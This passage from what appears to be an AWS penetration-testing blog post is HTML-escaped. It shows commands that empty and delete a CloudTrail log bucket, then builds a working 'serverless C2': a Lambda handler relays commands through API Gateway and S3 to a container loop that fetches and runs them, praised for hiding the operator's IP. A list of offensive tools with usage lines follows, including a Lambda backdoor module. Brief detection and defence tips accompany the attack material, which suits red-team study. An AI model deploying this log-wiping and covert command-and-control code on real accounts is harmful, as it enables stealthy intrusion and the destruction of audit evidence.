class="cl"&gt;# If a dedicated log bucket exists, identify it before clearing anything; do not delete indiscriminately&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Empty the associated S3 log bucket&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws s3 rm s3://cloudtrail-bucket --recursive&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Delete the S3 bucket&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws s3 rb s3://cloudtrail-bucket --force&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Defensive measures&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Configure &lt;strong&gt;S3 Object Lock&lt;/strong&gt; to make log files undeletable.&lt;/li&gt;&#10;&lt;li&gt;Enable an &lt;strong&gt;AWS Organizations Service Control Policy (SCP)&lt;/strong&gt; to prevent member accounts from changing logging configurations.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h3 id="hiding-the-ip-address-serverless-c2"&gt;&lt;a href="#hiding-the-ip-address-serverless-c2" class="header-anchor"&gt;&lt;/a&gt;Hiding the IP Address (Serverless C2)&#10;&lt;/h3&gt;&lt;h4 id="reverse-proxy-with-lambda--api-gateway"&gt;&lt;a href="#reverse-proxy-with-lambda--api-gateway" class="header-anchor"&gt;&lt;/a&gt;Reverse Proxy with Lambda + API Gateway&#10;&lt;/h4&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Architecture&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Attacker&lt;/strong&gt; → &lt;strong&gt;API Gateway&lt;/strong&gt; → &lt;strong&gt;Lambda (forwards requests)&lt;/strong&gt; → &lt;strong&gt;controlled container/EC2&lt;/strong&gt; → &lt;strong&gt;S3 bucket (stores results)&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Steps&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;&lt;strong&gt;Create a Lambda forwarder&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;span class="lnt"&gt;9&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import boto3&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;def lambda_handler(event, context):&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; s3 = boto3.client(&amp;#39;s3&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; # Receive a command from API Gateway and write it to S3&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; cmd = event[&amp;#39;queryStringParameters&amp;#39;][&amp;#39;cmd&amp;#39;]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; s3.put_object(Bucket=&amp;#39;c2-bucket&amp;#39;, Key=&amp;#39;commands/latest&amp;#39;, Body=cmd)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; # Read the execution result&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; response = s3.get_object(Bucket=&amp;#39;c2-bucket&amp;#39;, Key=&amp;#39;results/latest&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; return {&amp;#39;statusCode&amp;#39;: 200, &amp;#39;body&amp;#39;: response[&amp;#39;Body&amp;#39;].read()}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ol start="2"&gt;&#10;&lt;li&gt;&lt;strong&gt;Periodically fetch commands from inside the container&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Scheduled task in the controlled container&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;while true; do&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; aws s3 cp s3://c2-bucket/commands/latest - &amp;gt; /tmp/cmd.sh&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; sh /tmp/cmd.sh &amp;gt; /tmp/result.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; aws s3 cp /tmp/result.txt s3://c2-bucket/results/latest&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; sleep 300&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;done&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Stealth advantages&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;All communications pass through AWS&amp;rsquo;s internal network, with the source IP shown as &lt;code&gt;lambda.amazonaws.com&lt;/code&gt;.&lt;/li&gt;&#10;&lt;li&gt;API Gateway supports HTTPS encryption, making the traffic look no different from normal business traffic.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;This is a little complicated, but it is extremely useful (you will need to learn the boto3 library). It is essentially serverless C2. The main goal is to control the target container or EC2 without being discovered. As shown in the architecture above, the attacker uses an API to control the Lambda forwarder. So what exactly is API Gateway? It is basically a trigger, and you can find it in the service. Once the trigger has been defined, you can append a command to the URL.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl -X GET &lt;span class="s2"&gt;&amp;#34;https://xxx.execute-api.region.amazonaws.com/prod?cmd=bHMgaS9ldGM=&amp;#34;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This effectively passes the command into cmd.&#10;Now let&amp;rsquo;s look at the received json.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;span class="lnt"&gt;9&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Example event structure received by the Lambda function&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;queryStringParameters&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;cmd&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;bHMgaS9ldGM=&amp;#34;&lt;/span&gt; &lt;span class="c1"&gt;# Base64 encoding of &amp;#34;ls /etc&amp;#34;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# This locates the Base64-encoded command, so the script defines it as follows&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# cmd = event[&amp;#39;queryStringParameters&amp;#39;][&amp;#39;cmd&amp;#39;]&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Of course, Base64 decoding and so on would still be needed, but that was not included. In short, Lambda receives the command, and the Lambda code automatically writes that command to &lt;code&gt;results/latest&lt;/code&gt; in the bucket. Once the command has been stored, how does the controlled EC2 execute it? You can use a scheduled task that runs every hour or perhaps every half hour; either works. The scheduled task mainly downloads the file from &lt;code&gt;results/latest&lt;/code&gt;, names it &lt;code&gt;xxxx.sh&lt;/code&gt;, executes it, writes the result to &lt;code&gt;/tmp/result.txt&lt;/code&gt;, and then uploads it back to the S3 bucket, perhaps at &lt;code&gt;results/result.txt&lt;/code&gt;, though it can be anywhere. So how should it be read? Reading it directly could still get you discovered. You can instead use Lambda + API Gateway again and set up an API trigger that takes no parameters. Visiting it will automatically return the contents of the file at &lt;code&gt;results/result.txt&lt;/code&gt; in the S3 bucket. That makes the architecture pretty much perfect.&lt;/p&gt;&#10;&lt;p&gt;This is only one possible route. You can add a great many things to it in practice, and this idea can be extended into many other methods. Now let&amp;rsquo;s look at the defensive side.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Detection points&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;API Gateway request frequency&lt;/strong&gt;: Frequent calls may trigger GuardDuty&amp;rsquo;s &lt;code&gt;TTP:Discovery/CloudApis&lt;/code&gt;.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;S3 bucket access patterns&lt;/strong&gt;: Frequent overwrites of the same path, such as &lt;code&gt;commands/latest&lt;/code&gt;.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;&lt;strong&gt;Defensive recommendations&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Enable &lt;strong&gt;access logging&lt;/strong&gt; and &lt;strong&gt;object versioning&lt;/strong&gt; for S3 buckets to track file changes.&lt;/li&gt;&#10;&lt;li&gt;Monitor the &lt;strong&gt;number of Lambda executions&lt;/strong&gt; and &lt;strong&gt;S3 write operations&lt;/strong&gt;, and configure threshold alerts.&lt;/li&gt;&#10;&lt;li&gt;Use &lt;strong&gt;Macie&lt;/strong&gt; to automatically scan S3 for sensitive data, such as keys in &lt;code&gt;result.txt&lt;/code&gt;.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h2 id="aws-penetration-testing-automation-tools"&gt;&lt;a href="#aws-penetration-testing-automation-tools" class="header-anchor"&gt;&lt;/a&gt;AWS Penetration Testing Automation Tools&#10;&lt;/h2&gt;&lt;h4 id="1-cloud-environment-reconnaissance--asset-discovery"&gt;&lt;a href="#1-cloud-environment-reconnaissance--asset-discovery" class="header-anchor"&gt;&lt;/a&gt;1. Cloud Environment Reconnaissance &amp;amp; Asset Discovery&#10;&lt;/h4&gt;&lt;h5 id="1-pacu"&gt;&lt;a href="#1-pacu" class="header-anchor"&gt;&lt;/a&gt;(1) Pacu&#10;&lt;/h5&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Purpose&lt;/strong&gt;: A full-spectrum AWS environment attack framework that supports modular attacks such as &lt;strong&gt;privilege escalation, backdoor implantation, and data exfiltration&lt;/strong&gt;.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Key features&lt;/strong&gt;:&#10;&lt;ul&gt;&#10;&lt;li&gt;Automatically enumerates IAM permissions, S3 buckets, EC2 instances, and more.&lt;/li&gt;&#10;&lt;li&gt;Simulates attack chains, such as scanning for privilege escalation paths with &lt;code&gt;iam__privesc_scan&lt;/code&gt;.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Project URL&lt;/strong&gt;: &lt;strong&gt;&lt;a class="link" href="https://github.com/RhinoSecurityLabs/pacu" target="_blank" rel="noopener"&#10; &gt;https://github.com/RhinoSecurityLabs/pacu&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Usage example&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Initialize and configure AWS keys&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;pacu&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;set_keys&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;run iam__privesc_scan # Scan IAM privilege-escalation paths&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h5 id="2-cloudmapper"&gt;&lt;a href="#2-cloudmapper" class="header-anchor"&gt;&lt;/a&gt;(2) CloudMapper&#10;&lt;/h5&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Purpose&lt;/strong&gt;: Visually analyzes AWS environments, including VPC, IAM, S3, and more, and generates a &lt;strong&gt;network topology map&lt;/strong&gt;.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Key features&lt;/strong&gt;:&#10;&lt;ul&gt;&#10;&lt;li&gt;Maps cross-region VPC connections.&lt;/li&gt;&#10;&lt;li&gt;Flags public S3 buckets and EC2 security groups.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Project URL&lt;/strong&gt;: &lt;strong&gt;&lt;a class="link" href="https://github.com/duo-labs/cloudmapper" target="_blank" rel="noopener"&#10; &gt;https://github.com/duo-labs/cloudmapper&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Usage example&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python3 cloudmapper.py collect --account my-account&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python3 cloudmapper.py report --account my-account&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;hr&gt;&#10;&lt;h4 id="2-privilege-escalation--vulnerability-exploitation"&gt;&lt;a href="#2-privilege-escalation--vulnerability-exploitation" class="header-anchor"&gt;&lt;/a&gt;2. Privilege Escalation &amp;amp; Vulnerability Exploitation&#10;&lt;/h4&gt;&lt;h5 id="1-weirdaal"&gt;&lt;a href="#1-weirdaal" class="header-anchor"&gt;&lt;/a&gt;(1) WeirdAAL&#10;&lt;/h5&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Purpose&lt;/strong&gt;: Automatically detects abuse of AWS API permissions, such as &lt;code&gt;sts:AssumeRole&lt;/code&gt; and &lt;code&gt;iam:CreateUser&lt;/code&gt;.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Key features&lt;/strong&gt;:&#10;&lt;ul&gt;&#10;&lt;li&gt;Quickly scans IAM policies for dangerous permissions.&lt;/li&gt;&#10;&lt;li&gt;Generates reproducible attack code in Python.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Project URL&lt;/strong&gt;: &lt;strong&gt;&lt;a class="link" href="https://github.com/carnal0wnage/weirdAAL" target="_blank" rel="noopener"&#10; &gt;https://github.com/carnal0wnage/weirdAAL&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Usage example&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python3 weirdAAL.py -m iam_createaccesskey&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h5 id="2-aws-pwn"&gt;&lt;a href="#2-aws-pwn" class="header-anchor"&gt;&lt;/a&gt;(2) AWS PWN&#10;&lt;/h5&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Purpose&lt;/strong&gt;: An automated privilege escalation tool covering &lt;strong&gt;more than 20 privilege escalation paths across services such as EC2, Lambda, and S3&lt;/strong&gt;.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Key features&lt;/strong&gt;:&#10;&lt;ul&gt;&#10;&lt;li&gt;Detects abuse of EC2 instance role permissions.&lt;/li&gt;&#10;&lt;li&gt;Uses Lambda functions to execute code and steal metadata.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Project URL&lt;/strong&gt;: &lt;strong&gt;&lt;a class="link" href="https://github.com/dagrz/aws_pwn" target="_blank" rel="noopener"&#10; &gt;https://github.com/dagrz/aws_pwn&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Usage example&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python3 aws_pwn.py --profile victim-profile --module lambda_backdoor&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;hr&gt;&#10;&lt;h4 id="3-buckets--data-exposure"&gt;&lt;a href="#3-buckets--data-exposure" class="header-anchor"&gt;&lt;/a&gt;3. Buckets &amp;amp; Data Exposure&#10;&lt;/h4&gt;&lt;h5 id="1-s3scanner"&gt;&lt;a href="#1-s3scanner" class="header-anchor"&gt;&lt;/a&gt;(1) S3Scanner&#10;&lt;/h5&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Purpose&lt;/strong&gt;: Scans public S3 buckets in bulk and detects sensitive files such as &lt;code&gt;credentials&lt;/code&gt; and &lt;code&gt;config&lt;/code&gt;.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Key features&lt;/strong&gt;:&#10;&lt;ul&gt;&#10;&lt;li&gt;Supports custom keyword filters such as &lt;code&gt;AKIA&lt;/code&gt; and &lt;code&gt;secret&lt;/code&gt;.&lt;/li&gt;&#10;&lt;li&gt;Exports readable reports in CSV/JSON format.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Project URL&lt;/strong&gt;: &lt;strong&gt;&lt;a class="link" href="https://github.com/sa7mon/S3Scanner" target="_blank" rel="noopener"&#10; &gt;https://github.com/sa7mon/S3Scanner&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Usage example&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python3 s3scanner.py --bucket names.txt --keywords secrets.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h5 id="2-bucket-stream"&gt;&lt;a href="#2-bucket-stream" class="header-anchor"&gt;&lt;/a&gt;(2) bucket-stream&#10;&lt;/h5&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Purpose&lt;/strong&gt;: Monitors newly created S3 buckets in real time and checks for public access permissions.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Key features&lt;/strong&gt;:&#10;&lt;ul&gt;&#10;&lt;li&gt;Uses CertStream to monitor domain changes and discover related buckets.&lt;/li&gt;&#10;&lt;li&gt;Automatically flags high-risk buckets, such as those in &lt;code&gt;website&lt;/code&gt; mode.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Project URL&lt;/strong&gt;: &lt;strong&gt;&lt;a class="link" href="https://github.com/eth0izzle/bucket-stream" target="_blank" rel="noopener"&#10; &gt;https://github.com/eth0izzle/bucket-stream&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Usage example&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python3 bucket-stream.py --firehose&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;hr&gt;&#10;&lt;h4 id="4-lateral-movement--backdoor-implantation"&gt;&lt;a href="#4-lateral-movement--backdoor-implantation" class="header-anchor"&gt;&lt;/a&gt;4. Lateral Movement &amp;amp; Backdoor Implantation&#10;&lt;/h4&gt;&lt;h5 id="1-cloudsplaining"&gt;&lt;a href="#1-cloudsplaining" class="header-anchor"&gt;&lt;/a&gt;(1) Cloudsplaining&#10;&lt;/h5&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Purpose&lt;/strong&gt;: Analyzes excessive permissions in IAM policies and generates an &lt;strong&gt;attack path diagram&lt;/strong&gt;.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Key features&lt;/strong&gt;:&#10;&lt;ul&gt;&#10;&lt;li&gt;Flags &lt;code&gt;iam:PassRole&lt;/code&gt; and &lt;code&gt;sts:AssumeRole&lt;/code&gt; permissions that could enable privilege escalation.&lt;/li&gt;&#10;&lt;li&gt;Outputs an HTML visualization report.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Project URL&lt;/strong&gt;: &lt;strong&gt;&lt;a class="link" href="https://github.com/salesforce/cloudsplaining" target="_blank" rel="noopener"&#10; &gt;https://github.com/salesforce/cloudsplaining&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Usage example&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" 